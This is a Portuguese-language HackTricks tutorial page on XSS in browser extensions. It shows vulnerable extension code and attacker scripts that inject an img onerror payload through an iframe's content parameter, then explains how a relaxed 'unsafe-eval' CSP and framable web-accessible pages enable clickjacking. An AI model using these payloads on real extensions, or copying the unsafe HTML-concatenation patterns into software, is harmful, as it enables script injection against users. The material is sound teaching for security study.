mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-20 18:14:15 +00:00
120 lines
7.4 KiB
Markdown
120 lines
7.4 KiB
Markdown
# BrowExt - Exemplo de XSS
|
|
|
|
<details>
|
|
|
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Outras maneiras de apoiar o HackTricks:
|
|
|
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
|
|
|
</details>
|
|
|
|
## Cross-Site Scripting (XSS) através de Iframe
|
|
|
|
Nesta configuração, um **script de conteúdo** é implementado para instanciar um Iframe, incorporando uma URL com parâmetros de consulta como a fonte do Iframe:
|
|
```javascript
|
|
chrome.storage.local.get("message", result => {
|
|
let constructedURL = chrome.runtime.getURL("message.html") +
|
|
"?content=" + encodeURIComponent(result.message) +
|
|
"&redirect=https://example.net/details";
|
|
frame.src = constructedURL;
|
|
});
|
|
```
|
|
Uma página HTML publicamente acessível, **`message.html`**, é projetada para adicionar dinamicamente conteúdo ao corpo do documento com base nos parâmetros na URL:
|
|
```javascript
|
|
$(document).ready(() => {
|
|
let urlParams = new URLSearchParams(window.location.search);
|
|
let userContent = urlParams.get("content");
|
|
$(document.body).html(`${userContent} <button id='detailBtn'>Details</button>`);
|
|
$('#detailBtn').on('click', () => {
|
|
let destinationURL = urlParams.get("redirect");
|
|
chrome.tabs.create({ url: destinationURL });
|
|
});
|
|
});
|
|
```
|
|
Um script malicioso é executado em uma página de um adversário, modificando o parâmetro `content` da origem do Iframe para introduzir um **payload XSS**. Isso é alcançado atualizando a origem do Iframe para incluir um script prejudicial:
|
|
```javascript
|
|
setTimeout(() => {
|
|
let targetFrame = document.querySelector("iframe").src;
|
|
let baseURL = targetFrame.split('?')[0];
|
|
let xssPayload = "<img src='invalid' onerror='alert(\"XSS\")'>";
|
|
let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}`;
|
|
|
|
document.querySelector("iframe").src = maliciousURL;
|
|
}, 1000);
|
|
```
|
|
Uma Política de Segurança de Conteúdo excessivamente permissiva, como:
|
|
```json
|
|
"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"
|
|
```
|
|
Permite a execução de JavaScript, tornando o sistema vulnerável a ataques XSS.
|
|
|
|
Uma abordagem alternativa para provocar o XSS envolve a criação de um elemento Iframe e definir sua origem para incluir o script malicioso como o parâmetro `content`:
|
|
```javascript
|
|
let newFrame = document.createElement("iframe");
|
|
newFrame.src = "chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" +
|
|
encodeURIComponent("<img src='x' onerror='alert(\"XSS\")'>");
|
|
document.body.append(newFrame);
|
|
```
|
|
## XSS baseado em DOM + ClickJacking
|
|
|
|
Este exemplo foi retirado do [post original](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/).
|
|
|
|
O problema central surge de uma vulnerabilidade de Cross-site Scripting (XSS) baseada em DOM localizada em **`/html/bookmarks.html`**. O JavaScript problemático, parte do **`bookmarks.js`**, está detalhado abaixo:
|
|
```javascript
|
|
$('#btAdd').on('click', function() {
|
|
var bookmarkName = $('#txtName').val();
|
|
if ($('.custom-button .label').filter(function() {
|
|
return $(this).text() === bookmarkName;
|
|
}).length) return false;
|
|
|
|
var bookmarkItem = $('<div class="custom-button">');
|
|
bookmarkItem.html('<span class="label">' + bookmarkName + '</span>');
|
|
bookmarkItem.append('<button class="remove-btn" title="delete">x</button>');
|
|
bookmarkItem.attr('data-title', bookmarkName);
|
|
bookmarkItem.data('timestamp', (new Date().getTime()));
|
|
$('section.bookmark-container .existing-items').append(bookmarkItem);
|
|
persistData();
|
|
});
|
|
```
|
|
Este trecho busca o **valor** do campo de entrada **`txtName`** e usa **concatenação de strings para gerar HTML**, que é então anexado ao DOM usando a função `.append()` do jQuery.
|
|
|
|
Normalmente, a Política de Segurança de Conteúdo (CSP) da extensão do Chrome impediria tais vulnerabilidades. No entanto, devido à **relaxação da CSP com 'unsafe-eval'** e ao uso dos métodos de manipulação do DOM do jQuery (que empregam [`globalEval()`](https://api.jquery.com/jquery.globaleval/) para passar scripts para [`eval()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) durante a inserção no DOM), a exploração ainda é possível.
|
|
|
|
Embora essa vulnerabilidade seja significativa, sua exploração geralmente depende da interação do usuário: visitar a página, inserir um payload XSS e ativar o botão "Adicionar".
|
|
|
|
Para aprimorar essa vulnerabilidade, uma vulnerabilidade secundária de **clickjacking** é explorada. O manifesto da extensão do Chrome mostra uma extensa política `web_accessible_resources`:
|
|
```json
|
|
"web_accessible_resources": [
|
|
"html/bookmarks.html",
|
|
"dist/*",
|
|
"assets/*",
|
|
"font/*",
|
|
[...]
|
|
],
|
|
```
|
|
Notavelmente, a página **`/html/bookmarks.html`** é propensa a framing, portanto vulnerável ao **clickjacking**. Essa vulnerabilidade é explorada para enquadrar a página dentro do site de um atacante, sobrepondo-a com elementos DOM para redesenhar a interface de forma enganosa. Essa manipulação leva as vítimas a interagir com a extensão subjacente involuntariamente.
|
|
|
|
## Referências
|
|
|
|
* [https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/](https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/)
|
|
* [https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/)
|
|
|
|
<details>
|
|
|
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Outras maneiras de apoiar o HackTricks:
|
|
|
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
|
|
|
</details>
|